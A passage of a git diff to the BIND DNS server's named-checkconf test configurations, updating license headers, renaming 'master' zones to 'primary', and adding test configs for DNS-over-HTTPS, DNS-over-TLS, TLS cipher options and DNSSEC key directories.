+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-class.conf b/bin/tests/system/checkconf/good-class.conf
index 1839fe231b..2f8c321cb7 100644
--- a/bin/tests/system/checkconf/good-class.conf
+++ b/bin/tests/system/checkconf/good-class.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-dnskey-validity-3660.conf b/bin/tests/system/checkconf/good-dnskey-validity-3660.conf
deleted file mode 100644
index 2a69951faa..0000000000
--- a/bin/tests/system/checkconf/good-dnskey-validity-3660.conf
+++ /dev/null
@@ -1,14 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	dnskey-sig-validity 3660;	/* maximum value 10 years */
-};
diff --git a/bin/tests/system/checkconf/good-dnskey-validity-zero.conf b/bin/tests/system/checkconf/good-dnskey-validity-zero.conf
deleted file mode 100644
index 3f8967044b..0000000000
--- a/bin/tests/system/checkconf/good-dnskey-validity-zero.conf
+++ /dev/null
@@ -1,14 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	dnskey-sig-validity 0;	/* 0 is disabled */
-};
diff --git a/bin/tests/system/checkconf/good-doh-1.conf b/bin/tests/system/checkconf/good-doh-1.conf
index 8f983778b1..0c642ecba0 100644
--- a/bin/tests/system/checkconf/good-doh-1.conf
+++ b/bin/tests/system/checkconf/good-doh-1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,12 +18,16 @@ tls local-tls {
 
 http local-http-server {
 	endpoints { "/dns-query"; };
+	listener-clients 100;
+	streams-per-connection 100;
 };
 
 options {
 	listen-on { 10.53.0.1; };
 	http-port 80;
 	https-port 443;
+	http-listener-clients 100;
+	http-streams-per-connection 100;
 	listen-on port 443 tls local-tls http local-http-server { 10.53.0.1; };
 	listen-on port 8080 tls none http local-http-server { 10.53.0.1; };
 };
diff --git a/bin/tests/system/checkconf/good-doh-2.conf b/bin/tests/system/checkconf/good-doh-2.conf
index 52f2be3e9f..1bbe9e08cc 100644
--- a/bin/tests/system/checkconf/good-doh-2.conf
+++ b/bin/tests/system/checkconf/good-doh-2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-doh-3.conf b/bin/tests/system/checkconf/good-doh-3.conf
index c570e6c447..cd410b9074 100644
--- a/bin/tests/system/checkconf/good-doh-3.conf
+++ b/bin/tests/system/checkconf/good-doh-3.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-doh-4.conf b/bin/tests/system/checkconf/good-doh-4.conf
new file mode 100644
index 0000000000..d191347254
--- /dev/null
+++ b/bin/tests/system/checkconf/good-doh-4.conf
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls local-tls {
+	key-file "key.pem";
+	cert-file "cert.pem";
+};
+
+# Use the default values only - just to make sure that we could
+# override only values which we need and there is no required ones.
+http empty-http-server {
+};
+
+options {
+	listen-on { 10.53.0.1; };
+	http-port 80;
+	https-port 443;
+	http-listener-clients 100;
+	listen-on port 443 tls local-tls http empty-http-server { 10.53.0.1; };
+	listen-on port 8080 tls none http empty-http-server { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/good-doh-tlsopts.conf b/bin/tests/system/checkconf/good-doh-tlsopts.conf
new file mode 100644
index 0000000000..7ba4bdb598
--- /dev/null
+++ b/bin/tests/system/checkconf/good-doh-tlsopts.conf
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls local-tls {
+	protocols { TLSv1.2; };
+	key-file "key.pem";
+	cert-file "cert.pem";
+	dhparam-file "dhparam.pem";
+	ciphers "HIGH:!aNULL:!MD5:!RC4";
+	prefer-server-ciphers yes;
+	session-tickets no;
+};
+
+http local-http-server {
+	endpoints { "/dns-query"; };
+	listener-clients 100;
+	streams-per-connection 100;
+};
+
+options {
+	listen-on { 10.53.0.1; };
+	http-port 80;
+	https-port 443;
+	http-listener-clients 100;
+	http-streams-per-connection 100;
+	listen-on port 443 tls local-tls http local-http-server { 10.53.0.1; };
+	listen-on port 8080 tls none http local-http-server { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/good-dot-1.conf b/bin/tests/system/checkconf/good-dot-1.conf
index 2a1729752d..d94616a839 100644
--- a/bin/tests/system/checkconf/good-dot-1.conf
+++ b/bin/tests/system/checkconf/good-dot-1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-dot-allow-transfer-encrypted.conf b/bin/tests/system/checkconf/good-dot-allow-transfer-encrypted.conf
new file mode 100644
index 0000000000..74c7969c7e
--- /dev/null
+++ b/bin/tests/system/checkconf/good-dot-allow-transfer-encrypted.conf
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example1" {
+	type primary;
+	file "example1.db";
+	allow-transfer port 44344 transport tls { any; };
+};
+
+zone "example2" {
+	type primary;
+	file "example2.db";
+	allow-transfer port 44344 transport tcp { any; };
+};
+
+zone "example3" {
+	type primary;
+	file "example3.db";
+	allow-transfer transport tls { any; };
+};
+
+zone "example4" {
+	type primary;
+	file "example4.db";
+	allow-transfer transport tcp { any; };
+};
+
+
+zone "example5" {
+	type primary;
+	file "example5.db";
+	allow-transfer port 53 { any; };
+};
+
+zone "example6" {
+	type primary;
+	file "example6.db";
+	allow-transfer { any; };
+};
diff --git a/bin/tests/system/checkconf/good-dot-doh-tls-nokeycert.conf b/bin/tests/system/checkconf/good-dot-doh-tls-nokeycert.conf
new file mode 100644
index 0000000000..d541d1508a
--- /dev/null
+++ b/bin/tests/system/checkconf/good-dot-doh-tls-nokeycert.conf
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+# In some cases a "tls" statement may omit key-file and cert-file.
+tls local-tls {
+    protocols {TLSv1.2;};
+    remote-hostname "fqdn.example.com";
+};
diff --git a/bin/tests/system/checkconf/good-dot-primaries-ephemeral.conf b/bin/tests/system/checkconf/good-dot-primaries-ephemeral.conf
new file mode 100644
index 0000000000..2b33cf30b9
--- /dev/null
+++ b/bin/tests/system/checkconf/good-dot-primaries-ephemeral.conf
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example" {
+	type secondary;
+	primaries { 10.53.0.1 tls ephemeral; };
+	file "example.db";
+	allow-transfer { any; };
+};
diff --git a/bin/tests/system/checkconf/good-dot-primaries.conf b/bin/tests/system/checkconf/good-dot-primaries.conf
new file mode 100644
index 0000000000..592a94cd29
--- /dev/null
+++ b/bin/tests/system/checkconf/good-dot-primaries.conf
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls local-tls {
+	protocols { TLSv1.2; };
+	ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+	prefer-server-ciphers no;
+};
+
+zone "example" {
+	type secondary;
+	primaries { 10.53.0.1 tls local-tls; };
+	file "example.db";
+	allow-transfer { any; };
+};
diff --git a/bin/tests/system/checkconf/good-dot-tlsopts.conf b/bin/tests/system/checkconf/good-dot-tlsopts.conf
new file mode 100644
index 0000000000..fc7e248254
--- /dev/null
+++ b/bin/tests/system/checkconf/good-dot-tlsopts.conf
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls local-tls {
+	protocols { TLSv1.2; };
+	key-file "key.pem";
+	cert-file "cert.pem";
+	dhparam-file "dhparam.pem";
+	ciphers "HIGH:!aNULL:!MD5:!RC4";
+	prefer-server-ciphers yes;
+	session-tickets no;
+};
+
+options {
+	listen-on port 853 tls local-tls { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/good-ds-key-1.conf b/bin/tests/system/checkconf/good-ds-key-1.conf
index c222c60abe..de7de848e0 100644
--- a/bin/tests/system/checkconf/good-ds-key-1.conf
+++ b/bin/tests/system/checkconf/good-ds-key-1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-ds-key-2.conf b/bin/tests/system/checkconf/good-ds-key-2.conf
index 87adbb9439..060fb2f2d6 100644
--- a/bin/tests/system/checkconf/good-ds-key-2.conf
+++ b/bin/tests/system/checkconf/good-ds-key-2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-dup-managed-key.conf b/bin/tests/system/checkconf/good-dup-managed-key.conf
index ee738c70fb..2f91247e1d 100644
--- a/bin/tests/system/checkconf/good-dup-managed-key.conf
+++ b/bin/tests/system/checkconf/good-dup-managed-key.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-dup-trusted-key.conf b/bin/tests/system/checkconf/good-dup-trusted-key.conf
index fc344ba4e9..46089c46d3 100644
--- a/bin/tests/system/checkconf/good-dup-trusted-key.conf
+++ b/bin/tests/system/checkconf/good-dup-trusted-key.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-forwarders-dot.conf b/bin/tests/system/checkconf/good-forwarders-dot.conf
new file mode 100644
index 0000000000..0d9bfa329c
--- /dev/null
+++ b/bin/tests/system/checkconf/good-forwarders-dot.conf
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls test-tls {
+	protocols { TLSv1.2; };
+	ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+	prefer-server-ciphers yes;
+};
+
+tls another-tls {
+	protocols { TLSv1.2; };
+	session-tickets no;
+};
+
+zone "example" {
+	type forward;
+	forward only;
+	forwarders port 5300 tls test-tls { 10.53.0.1; 10.53.0.2 port 5301 tls another-tls; };
+};
diff --git a/bin/tests/system/checkconf/good-glue-cache.conf b/bin/tests/system/checkconf/good-glue-cache.conf
deleted file mode 100644
index f5e9f79ac3..0000000000
--- a/bin/tests/system/checkconf/good-glue-cache.conf
+++ /dev/null
@@ -1,14 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	glue-cache yes;
-};
diff --git a/bin/tests/system/checkconf/good-initial-ds.conf b/bin/tests/system/checkconf/good-initial-ds.conf
index 01c25a364c..b54a2b390d 100644
--- a/bin/tests/system/checkconf/good-initial-ds.conf
+++ b/bin/tests/system/checkconf/good-initial-ds.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-interface-interval.conf b/bin/tests/system/checkconf/good-interface-interval.conf
index 16aee1d69f..60c50b37e8 100644
--- a/bin/tests/system/checkconf/good-interface-interval.conf
+++ b/bin/tests/system/checkconf/good-interface-interval.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-kasp.conf b/bin/tests/system/checkconf/good-kasp.conf
index 2aa3091a8a..fb3fceab0a 100644
--- a/bin/tests/system/checkconf/good-kasp.conf
+++ b/bin/tests/system/checkconf/good-kasp.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,7 +17,12 @@
 
 /* cut here */
 dnssec-policy "test" {
+	cdnskey yes;
+	cds-digest-types {
+		"sha-256";
+	};
 	dnskey-ttl 3600;
+	inline-signing yes;
 	keys {
 		ksk key-directory lifetime P1Y algorithm ecdsa256;
 		zsk lifetime P30D algorithm 13;
@@ -36,26 +43,29 @@ options {
 	dnssec-policy "default";
 };
 zone "example1" {
-	type master;
+	type primary;
 	file "example1.db";
 };
 zone "example2" {
-	type master;
+	type primary;
 	file "example2.db";
+	allow-update {
+		"any";
+	};
 	dnssec-policy "test";
 };
 zone "example3" {
-	type master;
+	type primary;
 	file "example3.db";
 	dnssec-policy "default";
 };
 zone "dnssec-policy-none-shared-zonefile1" {
-	type master;
+	type primary;
 	file "shared.db";
 	dnssec-policy "none";
 };
 zone "dnssec-policy-none-shared-zonefile2" {
-	type master;
+	type primary;
 	file "shared.db";
 	dnssec-policy "none";
 };
diff --git a/bin/tests/system/checkconf/good-key-directory.conf b/bin/tests/system/checkconf/good-key-directory.conf
new file mode 100644
index 0000000000..07deb28993
--- /dev/null
+++ b/bin/tests/system/checkconf/good-key-directory.conf
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy "internet" {
+  keys {
+    ksk   key-directory   lifetime unlimited   algorithm ecdsa256;
+    zsk   key-directory   lifetime P90D        algorithm ecdsa256;
+  };
+
+  nsec3param iterations 15 optout no salt-length 8;
+};
+
+dnssec-policy "intranet" {
+  keys {
+    ksk   key-directory   lifetime unlimited   algorithm ecdsa256;
+    zsk   key-directory   lifetime P30D        algorithm ecdsa256;
+  };
+  nsec3param iterations 15 optout no salt-length 8;
+};
+
+dnssec-policy "localhost" {
+  keys {
+    ksk   key-directory   lifetime unlimited   algorithm ecdsa256;
+    zsk   key-directory   lifetime P30D        algorithm ecdsa256;
+  };
+  nsec3param iterations 15 optout no salt-length 8;
+};
+
+options {
+    key-directory "global/keys";
+};
+
+view "localhost" {
+    match-clients { 127.0.0.1; ::1; };
+    zone "example.com" IN {
+        type primary;
+        file "localhost/example.com.zone";
+        dnssec-policy "localhost";
+    };
+};
+
+view "external" {
+    match-clients { 0/0; };
+    key-directory "external/keys";
+    zone "example.com" IN {
+        type primary;
+        file "external/example.com.zone";
+        dnssec-policy "internet";
+    };
+};
+
+view "internal" {
+    match-clients { ::/0; };
+    key-directory "internal/keys";
+    zone "example.com" IN {
+        type primary;
+        file "internal/example.com.zone";
+        dnssec-policy "intranet";
+    };
+};
diff --git a/bin/tests/system/checkconf/good-masterfile-format-raw.conf b/bin/tests/system/checkconf/good-masterfile-format-raw.conf
new file mode 100644
index 0000000000..b6f3cbfefe
--- /dev/null
+++ b/bin/tests/system/checkconf/good-masterfile-format-raw.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { ::1; };
+	masterfile-format raw;
+};
diff --git a/bin/tests/system/checkconf/good-masterfile-format-text.conf b/bin/tests/system/checkconf/good-masterfile-format-text.conf
new file mode 100644
index 0000000000..8138058677
--- /dev/null
+++ b/bin/tests/system/checkconf/good-masterfile-format-text.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { ::1; };
+	masterfile-format text;
+};
diff --git a/bin/tests/system/checkconf/good-masters-and-primaries.conf b/bin/tests/system/checkconf/good-masters-and-primaries.conf
index 156c63c3f5..d84657fce5 100644
--- a/bin/tests/system/checkconf/good-masters-and-primaries.conf
+++ b/bin/tests/system/checkconf/good-masters-and-primaries.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-maxcachettl.conf b/bin/tests/system/checkconf/good-maxcachettl.conf
index 2ebef0afd3..58f6901487 100644
--- a/bin/tests/system/checkconf/good-maxcachettl.conf
+++ b/bin/tests/system/checkconf/good-maxcachettl.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-maxncachettl.conf b/bin/tests/system/checkconf/good-maxncachettl.conf
index 198f3bd568..80dc75362c 100644
--- a/bin/tests/system/checkconf/good-maxncachettl.conf
+++ b/bin/tests/system/checkconf/good-maxncachettl.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-maxratio1.conf b/bin/tests/system/checkconf/good-maxratio1.conf
index 80ff113f21..4161a24b50 100644
--- a/bin/tests/system/checkconf/good-maxratio1.conf
+++ b/bin/tests/system/checkconf/good-maxratio1.conf
@@ -1,17 +1,19 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone example {
-	type master;
-	masterfile-format map;
+	type primary;
+	masterfile-format raw;
 	file "example.db";
 	max-ixfr-ratio 50%;
 };
diff --git a/bin/tests/system/checkconf/good-maxratio2.conf b/bin/tests/system/checkconf/good-maxratio2.conf
index e057dfe6e1..0ef2f3c838 100644
--- a/bin/tests/system/checkconf/good-maxratio2.conf
+++ b/bin/tests/system/checkconf/good-maxratio2.conf
@@ -1,17 +1,19 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone example {
-	type master;
-	masterfile-format map;
+	type primary;
+	masterfile-format raw;
 	file "example.db";
 	max-ixfr-ratio unlimited;
 };
diff --git a/bin/tests/system/checkconf/good-mincachettl.conf b/bin/tests/system/checkconf/good-mincachettl.conf
index 7afb8d005d..b619a73846 100644
--- a/bin/tests/system/checkconf/good-mincachettl.conf
+++ b/bin/tests/system/checkconf/good-mincachettl.conf
